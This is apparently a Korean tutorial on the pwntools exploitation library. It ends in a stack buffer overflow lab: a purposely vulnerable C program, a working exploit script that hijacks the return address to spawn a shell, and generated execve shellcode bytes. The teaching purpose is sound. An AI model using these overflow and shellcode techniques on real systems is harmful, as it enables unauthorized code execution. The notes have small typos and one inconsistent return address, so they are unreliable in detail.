$ (python -c "print 'A'*0x30 + 'B'*0x8 + '\xa7\x05\x40\x00\x00\x00\x00\x00'";cat)| ./rao
#!/usr/bin/env python2
import socket
# Remote host and port
RHOST = '127.0.0.1'
RPORT = 31337
# Make TCP connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
# Build payload
payload = ''
payload += 'Socket script'
payload += '\n'
# Send payload
s.send(payload)
# Print received data
data = s.recv(1024)
print 'Received: {0}'.format(data)
... 이들을 집대성하여 pwntools
라는 파이썬 모듈 제작
pwntools
를 사용한 익스플로잇 스크립트#!/usr/bin/env python3
from pwn import *
# Make TCP connection
r = remote('127.0.0.1', 31337)
# Build payload
payload = b''
payload += b'Socket script'
payload += b'\n'
# Send payload
r.send(payload)
# Print received datat
data = r.recv(1024)
print(f'Received: {data}')
$ apt-get update
$ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools
$ python3
>>> from pwn import *
>>>
process
함수는 익스플로잇을 로컬 바이너리를 대상으로 할 때 사용하는 함수remote
함수는 원격 서버를 대상으로 할 때 사용하는 함수from pwn import *
p = process('./test') # 로컬 바이너리 'test'를 대상으로 익스플로잇 수행
p = remote('example.com', 31337) # 'example.com'의 31337 포트에서 실행 중인 프로세스를 대상으로 익스플로잇 수행
send
는 데이터를 프로세스에 전송하기 위해 사용한다.fom pwn import *
p = process('./test')
p.send(b'A') # ./test에 b'A'를 입력
p.sendline(b'A') # ./test에 b'A' + b'\n'을 입력
p.sendafter(b'hello', b'A') # ./test가 b'hello'를 출력하면, b'A'를 입력
p.sendlineafter(b'hello', b'A') # ./test가 b'hello'를 출력하면, b'A' + b'\n'을 입력
recv
는 프로세스에서 데이터를 받기위해 사용한다.recv(n)
는 최대 n 바이트를 받는 것, 그만큼 받지 못해도 에러를 발생시키지 않음recvn(n)
는 정확히 n 바이트를 받지 못하면, 계속 기다린다.from pwn import *
p = process('./test')
data = p.recv(1024) # p가 출력하는 데이터를 최대 1024바이트까지 받아서 data에 저장
data = p.recvline() # p가 출력하는 데이터를 개행문자를 만날 때까지 받아서 data에 저장
data = p.recvn(5) # p가 출력하는 데이터를 5바이트만 받아서 data에 저장
data = p.recvuntil(b'hello') # p가 b'hello'를 출력할 때까지 데이터를 수신하여 data에 저장
data = p.recvall() # p가 출력하는 데이터를 프로세스가 종료될 때까지 받아서 data에 저장
p64()
p64(0x12345678) => \x00\x00\x00\x00\x78\x56\x34\x12
u64()
str
형태로 packing된 string을 받아서 리틀엔디언 언패킹 (int
)\x00\x00\x00\x00\x78\x56\x34\x12
같은 8Byte packing된 str
을 넣어줄 것from pwn import *
p = process('./test')
p.interactive()
from pwn import *
e = ELF('./test')
puts_plt = e.plt['puts'] # ./test에서 puts()의 PLT주소를 찾아서 puts_plt에 저장
read_got = e.got['read'] # ./test에서 read()의 GOT주소를 찾아서 read_got에 저장
context.log_level
변수로 조절할 수 있다.from pwn import *
context.log_level = 'error' # 에러만 출력
context.log_level = 'debug' # 대상 프로세스와 익스플로잇간에 오가는 모든 데이터를 화면에 출력
context.log_level = 'info' # 비교적 중요한 정보들만 출력
from pwn import *
context.arch = "amd64" # x86-64 아키텍처
context.arch = "i386" # x86 아키텍처
context.arch = "arm" # arm 아키텍처
#!/usr/bin/env python3
# Name: shellcraft.py
from pwn import *
context.arch = 'amd64' # 대상 아키텍처 x86-64
code = shellcraft.sh() # 셸을 실행하는 셸 코드
print(code)
$ python3 shellcraft.py
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
...
syscall
#!/usr/bin/env python3
# Name: asm.py
from pwn import *
context.arch = 'amd64' # 익스플로잇 대상 아키텍처 'x86-64'
code = shellcraft.sh() # 셸을 실행하는 셸코드
code = asm(code) # 셸 코드를 기계어로 어셈블
print(code)
$ python3 asm.py
b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
printf("Input: ");
scanf("%s", buf);
return 0;
}
#!/usr/bin/python3
#Name: rao.py
from pwn import * # Import pwntools module
p = process('./rao') # Spawn process './rao'
elf = ELF('./rao')
get_shell = elf.symbols['get_shell'] # The address of get_shell()
payload = b'A'*0x30 #| buf | <= 'A'*0x30
payload += b'B'*0x8 #| SFP | <= 'B'*0x8
payload += p64(get_shell) #| Return address | <= '\xaa\x06\x40\x00\x00\x00\x00\x00'
p.sendline(payload) # Send payload to './rao'
p.interactive() # Communicate with shell
$ python3 rao.py
[+] Starting local process './rao': pid 416
[*] Switching to interactive mode
$ id
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack) ...